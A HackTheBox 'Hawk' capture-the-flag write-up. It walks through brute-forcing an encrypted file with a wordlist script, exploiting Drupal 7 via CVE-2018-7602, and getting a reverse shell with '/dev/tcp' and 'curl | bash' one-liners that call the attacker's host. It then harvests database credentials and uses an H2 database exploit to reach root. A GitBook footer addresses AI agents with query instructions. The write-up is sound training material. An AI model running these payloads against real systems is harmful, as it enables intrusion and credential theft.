> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md). # Hawk HackTheBox Writeup Hawk HackTheBox Medium Linux machine writeup covering OpenSSL Cipher Brute Force and Decryption, Drupal Enumeration/Exploitation, H2 Database Exploitation, with practical enumeration, exploitation, fo {% embed url="" %} {% hint style="warning" %} **Skills:** * OpenSSL Cipher Brute Force and Decryption * Drupal Enumeration/Exploitation * H2 Database Exploitation {% endhint %} ## Reconnaissance **Workspace Setup:** Set up the workspace by creating three folders to store important content, exploits, and Nmap reconnaissance results.
**VPN Connectivity Check** Checking VPN connection to ensure stable communication with the target machine
**Open Port Discovery with Nmap:** Exploring open ports and exporting to the "allPorts" file in the Nmap directory. ```bash nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.102 -oG allPorts ```
**Open Port Analysis with extractPorts:** Using the extractPorts function to in a concise format display open ports and copy them into the clipboard (21,22,80,5435,9092)
#### Port Version Scan with Nmap: Use Nmap to scan service versions and save the output in the "targeted" file: ```bash nmap -sCV -p21,22,80,5435,9092 10.10.10.102 -oN targeted ```
### Port 21 - FTP We connect as a **anonymous** user and discover a hidden file called `.drupal.txt.enc`.
## Brute Force - Openssh (.enc) > The **.enc** extension usually indicates a **coded** file (encrypted). It is used to mean that the content of the file has been protected by an encryption algorithm, making the data unreadable without the appropriate key or password. These files can contain any type of data (text, images, videos, etc.) and are commonly used to secure sensitive information. The `.enc` file is encrypted with an algorithm **AES-256-CBC** and encoded in **Base64**.
**Step 1: Decoding Base64** ```bash cat .drupal.txt.enc | base64 -d > file_decoded.enc ```
**Step 2: Decryption with OpenSSL** To decipher the file, we need a password. Here is the command to attempt manual decryption: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 ```
**Step 3: Automation Script for brute force** We use a Bash script to test a password list (e.g. `rockyou.txt`). ```bash #!/bin/bash function ctrl_c(){ echo -e "/n/n[!] Exiting.../n" tput cnorm; exit 1 } # Ctrl+C trap ctrl_c INT tput civis for password in $(cat /usr/share/wordlists/rockyou.txt); do openssl aes-256-cbc -d -in drupal.enc -out drupal.decrypted -pass pass:$password &>/dev/null if [ "$(echo $?)" == "0" ]; then echo -e "/n[+] The password is : $password/n" exit 0 fi done; tput cnorm ``` **Result:** The password found is: **friends**
#### **Decrypted message** The decrypted file contains a new password: ```bash openssl enc -aes-256-cbc -d -in .drupal.txt.enc -out .drupal.txt -base64 friends ``` * **PencilKeyboardScanner123**
## Port 80 - HTTP Port 80 hosts a Drupal 7 CMS. ```bash whatweb 10.10.10.102 ```
**Authentication - Access with Password** Try to connect with the `PencilKeyboardScanner123` password for the user `admin` and authentication succeeds.
### Reverse Shell - Drupal 7 We will use the following script to execute commands on a Drupal server of less than 7 (CVE-2018-7602): {% embed url="" %} ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "id" -f "passthru" ``` This command allows you to execute the `id` command on the server.
**Access to server**/ To establish access to the server, we need to listen to port 443 with `nc` ```bash nc -nvlp 443 ``` Then you create a `index.html` file with the following content to establish a shell reverse: ```bash #!/bin/bash bash -i >& /dev/tcp/10.10.14.30/443 0>&1 ``` **Web server and order execution**/ Launches an HTTP server with Python: ```bash python3 -m http.server 80 ``` Then send the following command to download and run the script: ```bash curl http://10.10.14.3 | bash ``` ```bash python3 drupa7-CVE-2018-7602.py admin PencilKeyboardScanner123 http://10.10.10.102 -c "curl http://10.10.14.30 | bash" -f "passthru" ```
**Terminal Stabilization** To manage the terminal, the following commands are used: ```bash script /dev/null -c bash # Ctrl+Z stty raw -echo; fg reset xterm export TERM=xterm export SHELL=bash stty rows 44 columns 184 ``` ### Flag user.txt :)
## **Privilege Escalation** By exploring the web directory at `/var/www/html`, you can see several configuration files. Among them, an interesting file is identified:
**Chemin :** `sites/default/settings.php` In reviewing this file, we find sensitive information: * Username: drupal * Password: drupal4hawk
These credentials connect to the MySQL database. To do this, the following commands are used: ```bash mysql -u drupal -p ```
After entering the password, all available databases are listed, and then the database associated with Drupal is selected: ```sql show databases; use drupal; ``` Once in the database, we explore the content of the `users` table to find interesting information: ``` SELECT * FROM users; ``` In this table, we find a minced password associated with a user:
* `$S$DFw163ixD00W55hdCqtvCB13XOTLhZ0pt0FVpFy1Ntmdp5EAOX08` ### Brute Force John - Hash Password Use John to break the password hash ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` However, in this particular case, no match was found in the `rockyou.txt` passwordlist. ### Escaping Python to Normal Bash We accessed the server as a `daniel` user with a password associated with the database (in this example, **drupal4hawk**). Here is the command to connect: ```bash ssh daniel@10.10.10.182 ``` Password: **drupal4hawk** Once connected, we are directly in a Python interpreter.
To return to a normal Bash shell, we can use Python's `os` module to execute a Bash command. Here are the steps: 1. Importer le module `os` : ```python import os ``` 2. Run a Bash shell: ```python os.system('/bin/bash') ``` This will allow you to access a normal Bash shell from the Python interpreter.
## Exploitation H2 Database /*/* Analysis of open ports/*/* To begin with, we list open ports internally using the following command: ```bash netstat -tuln ``` We identify that port **8082** is open and hosts a service. By analyzing it, we discover that it is a database CMS: **H2 Database**.
To access this service from our machine, we perform a forwarding port with **SSH**, redirecting the internal port 8082 to port 8082 of our local machine:
### Port Forwarding To access this service from our machine, we perform a forwarding port with **SSH**, redirecting the internal port 8082 to port 8082 of our local machine: ```bash ssh -L 8082:127.0.0.1:8082 daniel@10.10.10.102 ``` ### H2 Database:
We use **searchsploit** to search for known vulnerabilities associated with H2 Database:
``` searchsploit -m java/webapps/45506.py ``` We find an interesting feat allowing remote command execution: ```bash python3 45506.py -H 127.0.0.1:8082 ```
### Flag root.txt :) The script allows us to execute commands on the target machine. By navigating the system, we recover the **flag root.txt**.
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/writeups-ctf/hackthebox/linux-medium/hawk-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.